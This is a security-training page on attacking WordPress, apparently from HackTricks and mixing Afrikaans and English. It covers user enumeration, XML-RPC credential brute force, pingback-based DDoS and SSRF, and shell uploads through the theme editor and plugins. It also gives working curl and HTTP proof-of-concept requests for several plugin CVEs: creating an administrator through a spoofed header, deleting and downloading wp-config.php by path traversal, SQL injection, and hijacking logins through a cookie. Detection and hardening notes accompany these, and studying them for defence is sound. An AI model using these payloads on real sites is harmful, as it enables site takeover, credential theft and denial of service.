36 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Basiese Inligting
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php you can find the root password of the database.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
contains useful information such as the version WordPress installed.wp-activate.php
is used for the email activation process when setting up a new WordPress site.- Login folders (may be renamed to hide it):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.- The
wp-content
folder is the main directory where plugins and themes are stored. wp-content/uploads/
Is the directory where any files uploaded to the platform are stored.wp-includes/
This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.wp-sitemap.xml
In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
Post exploitation
- The
wp-config.php
file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
Users Permissions
- Administrator
- Editor: Publish and manages his and others posts
- Author: Publish and manage his own posts
- Contributor: Write and manage his posts but cannot publish them
- Subscriber: Browser posts and edit their profile
Passive Enumeration
Get WordPress version
Check if you can find the files /license.txt
or /readme.html
Inside the source code of the page (example from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS-lêers
- JavaScript-lêers
Kry inproppe
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ekstraheer weergawes in die algemeen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktiewe enumerasie
Plugins and Themes
Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te ontdek, sal jy actively Brute Force a list of Plugins and Themes moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
Gebruikers
- ID Brute: Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing:
curl -s -I -X GET http://blog.example.com/?author=1
Indien die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, is die id ongeldig.
- wp-json: Jy kan ook probeer om inligting oor die gebruikers te kry deur navraag te doen:
curl http://blog.example.com/wp-json/wp/v2/users
Nog 'n /wp-json/
endpoint wat sekere inligting oor gebruikers kan openbaar, is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let wel dat hierdie endpoint slegs gebruikers openbaar wat 'n pos gemaak het. Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Let ook daarop dat /wp-json/wp/v2/pages IP-adresse kan leak.
- Login username enumeration: Wanneer jy by
/wp-login.php
aanmeld, is die boodskap anders en dui dit aan of die gebruikersnaam bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses using this byvoorbeeld outomatiseer).
Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
is 'n paar van die metodes wat gebruik kan word om brute-force credentials te bekom. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Incorrect username or password" binne 'n 200 code response moet verskyn as die credentials nie geldig is nie.
Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:

Bypass 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te log en 2FA te omseil. Neem kennis dat jy nie al die aksies kan uitvoer wat jy via die console kan doen nie, maar jy mag steeds RCE bereik soos Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
As jy die metode pingback.ping in die lys kan vind, kan jy Wordpress laat 'n arbitrêre versoek na enige host/port stuur. Dit kan gebruik word om duisende Wordpress sites te laat access een location (sodat 'n DDoS op daardie plek veroorsaak word), of jy kan dit gebruik om Wordpress te laat scan 'n interne network (jy kan enige port aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit dat die poort oop is.
Kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer geakses word, word 'n "swaar" MySQL query uitgevoer, sodat dit deur aanvallers gebruik kan word om 'n DoS te veroorsaak.
Ook, standaard word die wp-cron.php
by elke bladsylaai aangeroep (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op werwe met hoë verkeer probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n regte cronjob op die host te skep wat die nodige take met gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om toegang te kry tot https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net en die Wordpress-werf mag 'n versoek aan jou stuur.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Hierdie tool kontroleer of die methodName: pingback.ping en die pad /wp-json/oembed/1.0/proxy bestaan — as dit bestaan, probeer dit om dit te exploit.
Outomatiese Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Kry toegang deur 'n bit te oorskryf
Meer 'n nuuskierigheid as 'n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer flip. Dus kon jy posisie 5389
van die lêer /var/www/html/wp-includes/user.php
flip om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Aanpassing van 'n php-lêer van die tema wat gebruik word (admin credentials benodig)
Appearance → Theme Editor → 404 Template (aan die regterkant)
Verander die inhoud na 'n php shell:
Soek op die internet hoe jy daardie bygewerkte bladsy kan bereik. In hierdie geval moet jy hier toegang kry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
om 'n session te kry.
Plugin RCE
PHP plugin
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.
Skep jou php backdoor byvoorbeeld met:
Voeg dan 'n nuwe plugin by:
Laai die plugin op en klik Install Now:
Klik op Procced:
Waarskynlik sal dit eintlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
Maak dit oop en jy sal die URL sien om die reverse shell uit te voer:
Uploading and activating malicious plugin
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
- Plugin Acquisition: Die plugin word verkry vanaf 'n bron soos Exploit DB soos here.
- Plugin Installation:
- Navigeer na die WordPress dashboard, gaan dan na
Dashboard > Plugins > Upload Plugin
. - Laai die zip-lêer van die afgelaaide plugin op.
- Plugin Activation: Sodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word.
- Exploitation:
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die site verleen.
- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buiten.
Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is 'n script ontwerp om 'n Cross-Site Scripting (XSS)-kwesbaarheid te eskaleer na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer info kyk this post. Dit bied support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Skep 'n gebruiker in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Laai jou pasgemaakte plugin (backdoor) op na WordPress.
- (RCE) Built-In Plugin Edit: Redigeer ingeboude plugins in WordPress.
- (RCE) Built-In Theme Edit: Redigeer ingeboude temas in WordPress.
- (Custom) Custom Exploits: Pasgemaakte exploits vir derdeparty WordPress plugins/temas.
Post Exploitation
Haal usernames en passwords uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin-wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Aanvalsoppervlak
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in this blog post.
wp_ajax
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide die authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat enige gebruiker wat in die Wordpress instance geauthentiseer is kan hê (ongeag hul rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die gebruik van nopriv
maak die endpoint deur enigiemand toeganklik (selfs nie-geauthentiseerde gebruikers).
Caution
Verder, as die funksie net die autorisasie van die gebruiker met die funksie
wp_verify_nonce
kontroleer, kontroleer hierdie funksie net of die gebruiker ingeklok is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met laer voorregte toegang hê tot aksies wat hoër voorregte vereis.
- REST API
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback
is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
As die ingeboude __return_true
funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.
- Direkte toegang tot die php-lêer
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganglik. Dus, as 'n plugin enige kwesbare funksionaliteit ontsluit wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Impak: ongeauthentiseerde bevoegdheidsverhoging na administrateur deur 'n nuwe administrateur te skep via die core users REST route.
- Voorbeeld header:
X-Wcpay-Platform-Checkout-User: 1
(dwing gebruiker-ID 1 af, tipies die eerste administrateur-rekening). - Uitgebuite roete:
POST /wp-json/wp/v2/users
met 'n verhoogde rol-array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Waarom dit werk
- Die plugin koppel 'n kliënt-gekontroleerde header aan die autentiseringsstatus en slaan capability-controles oor.
- WordPress core verwag die
create_users
capability vir hierdie route; die plugin-hack omseil dit deur die huidige gebruiker-konteks direk uit die header te stel.
Verwagte suksesaanwysers
- HTTP 201 met 'n JSON-liggaam wat die geskepte gebruiker beskryf.
- 'n Nuwe admin gebruiker sigbaar in
wp-admin/users.php
.
Opsporingskontrolelys
- Grep vir
getallheaders()
,$_SERVER['HTTP_...']
, of vendor SDKs wat aangepaste headers lees om gebruikerskonteks te stel (bv.wp_set_current_user()
,wp_set_auth_cookie()
). - Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste
permission_callback
-kontroles het nie en in plaas daarvan op versoek-headers staatmaak. - Kyk vir gebruik van core user-management funksies (
wp_insert_user
,wp_create_user
) binne REST-handlers wat slegs deur header-waardes gefilter word.
Verharding
- Moet nooit autentisering of magtiging aflei uit kliënt-gekontrolleerde headers nie.
- Indien 'n reverse proxy identiteit moet injekteer, beëindig vertroulikheid by die proxy en verwyder inkomende kopieë (bv.
unset X-Wcpay-Platform-Checkout-User
by die edge), en stuur dan 'n getekende token en verifieer dit server-side. - Vir REST-routes wat bevoorregte aksies uitvoer, vereis
current_user_can()
-kontroles en 'n strengpermission_callback
(gebruik NIE__return_true
nie). - Voorkeur eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
References: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër ontleding.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme geïntroduseer deur hierdie stukkie:
- Unauthenticated access – die
wp_ajax_nopriv_
hook is geregistreer. - No nonce / capability check – enige besoeker kan die endpoint aanroep.
- No path sanitisation – die deur gebruiker beheerste
fontfamily
string word aan 'n lêerstelselpad gekonkateneer sonder filtrasie, wat klassieke../../
traversering toelaat.
Uitbuiting
'n aanvaller kan enige lêer of gids onder die uploads base directory (gewoonlik <wp-root>/wp-content/uploads/
) verwyder deur 'n enkele HTTP POST versoek te stuur:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Omdat wp-config.php
buite uploads lê, is vier ../
-reekse genoeg op 'n standaardinstallasie. Die verwydering van wp-config.php
dwing WordPress by die volgende besoek in die installation wizard, wat 'n volledige webwerf-oorname moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
Opsporingskontrolelys
- Enige
add_action( 'wp_ajax_nopriv_...')
callback wat filesystem helpers aanroep (copy()
,unlink()
,$wp_filesystem->delete()
, ens.). - Samestelling van ongesuiwerde gebruikerinvoer in paaie (soek na
$_POST
,$_GET
,$_REQUEST
). - Afwesigheid van
check_ajax_referer()
encurrent_user_can()
/is_user_logged_in()
.
Verharding
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Altyd beskou enige skryf/verwyder-bewerking op skyf as bevoorreg en kontroleer dit twee keer: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via
realpath()
plusstr_starts_with()
).
Privilege escalation via verouderde rolherstel and missing authorization (ASE "View Admin as Role")
Baie plugins implementeer 'n "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat hulle later herstel kan word. As die herstelpad slegs op request parameters (bv., $_REQUEST['reset-for']
) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation.
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op reset-for=<username>
as die gebruikersnaam in 'n interne array $options['viewing_admin_as_role_are']
verskyn het, maar het geen current_user_can()
kontrole of nonce-verifikasie uitgevoer voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles
herbygevoeg het nie:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Waarom dit uitbuitbaar is
- Vertrou op
$_REQUEST['reset-for']
en 'n plugin opsie sonder server-side authorization. - As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in
_asenha_view_admin_as_original_roles
en daarna afgegradeer is, kan hulle dit herstel deur die reset path te besoek. - In sommige deployments kan enige authenticated user 'n reset trigger vir 'n ander gebruikersnaam wat nog in
viewing_admin_as_role_are
bestaan (broken authorization).
Aanvalsvereistes
- Kwetsbare plugin-weergawe met die funksie geaktiveer.
- Teikenrekening het 'n verouderde high-privilege role gestoor in user meta van vroeër gebruik.
- Enige authenticated session; ontbrekende nonce/capability in die reset flow.
Uitbuiting (voorbeeld)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. administrator
), wat sodoende bevoegdhede verhoog.
Detection checklist
- Kyk vir rol-wissel-funksies wat “oorspronklike rolle” in user meta bewaar (bv.
_asenha_view_admin_as_original_roles
). - Identifiseer reset/restore-paaie wat:
- Lees gebruikersname uit
$_REQUEST
/$_GET
/$_POST
. - Wysig rolle via
add_role()
/remove_role()
sondercurrent_user_can()
enwp_verify_nonce()
/check_admin_referer()
. - Gemagtig op grond van 'n plugin-opsie-array (bv.
viewing_admin_as_role_are
) eerder as die akteur se bevoegdhede.
Hardening
- Dwing bevoegdheidskontroles af op elke tak wat toestand verander (bv.
current_user_can('manage_options')
of strenger). - Vereis nonces vir alle rol-/toestemmingswysigings en verifieer hulle:
check_admin_referer()
/wp_verify_nonce()
. - Vertrou nooit versoek-verskafde gebruikersname nie; los die teikengebruiker aan die bedienerkant op gebaseer op die geverifieerde akteur en 'n duidelike beleid.
- Maak die “oorspronklike rolle”-toestand ongeldig by profiel-/rol-opdaterings om te voorkom dat vervalde hoë-privilegie-herstel plaasvind:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Oorweeg om minimale state te stoor en tydbeperkte, capability-guarded tokens te gebruik vir tydelike rolwisselings.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Sommige plugins koppel user-switching helpers aan die publieke init
hook en bepaal identiteit uit 'n kliënt-beheerde cookie. As die kode wp_set_auth_cookie()
aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om as 'n arbitrêre user ID aan te meld.
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Waarom dit uitbuitbaar is
- Publieke
init
hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geenis_user_logged_in()
beskerming). - Identiteit word afgelei uit 'n kliënt-wysigbare cookie (
original_user_id
). - Direkte oproep na
wp_set_auth_cookie($uid)
teken die versoeker in as daardie gebruiker sonder enige capability/nonce kontroles.
Eksploitasie (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-oorwegings vir WordPress/plugin CVEs
Algemene edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë-impak WordPress/plugin kwesbaarhede is toepassingspesifieke logika/auth foute wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
Aanvalsnotas
- Rig op plugin-spesifieke endpoints met skoon payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Gebruik eers unauth paths (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads slaag dikwels sonder obfuscation. - Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Verdedigingsnotas
- Moet nie staatmaak op generiese WAF-signatures om plugin CVEs te beskerm nie. Implementeer application-layer, vulnerability-specific virtual patches of werk vinnig op.
- Gee voorkeur aan positive-security checks in code (capabilities, nonces, strict input validation) bo negatiewe regex filters.
WordPress-beskerming
Gereelde opdaterings
Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat geoutomatiseerde opdaterings in wp-config.php
geaktiveer is:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ook, installeer slegs betroubare WordPress plugins en themes.
Sekuriteits-plugins
Ander Aanbevelings
- Verwyder die verstek admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Hersien periodiek gebruikers se toestemmings
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
- Hernoem die
wp-admin.php
lêer en laat toegang slegs intern of vanaf sekere IP-adresse.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Die WP Job Portal recruitment plugin het 'n savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData()
uitvoer:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues geïntroduseer deur hierdie fragment:
- Ongefilterde gebruikersinvoer –
parentid
kom direk uit die HTTP-versoek. - String-konkatenasie binne die WHERE-clausule – geen
is_numeric()
/esc_sql()
/ prepared statement. - Nie-geauthentiseerde bereikbaarheid – alhoewel die aksie deur
admin-post.php
uitgevoer word, is die enigste kontrole in plek 'n CSRF nonce (wp_verify_nonce()
), wat enige besoeker kan kry vanaf 'n publieke bladsy wat die shortcode[wpjobportal_my_resumes]
insluit.
Uitbuiting
- Kry 'n vars nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injecteer arbitrêre SQL deur
parentid
te misbruik:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die respons openbaar die resultaat van die ingespuitde navraag of verander die databasis, wat SQLi bewys.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Another task, downloadcustomfile, allowed visitors to download any file on disk via path traversal. The vulnerable sink is located in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
is deur die aanvaller beheer en aaneengeskakel sonder sanitisering. Opnuut is die enigste hek 'n CSRF nonce wat vanaf die resume-bladsy verkry kan word.
Uitbuiting
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Die bediener reageer met die inhoud van wp-config.php
, leaking DB credentials and auth keys.
Verwysings
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}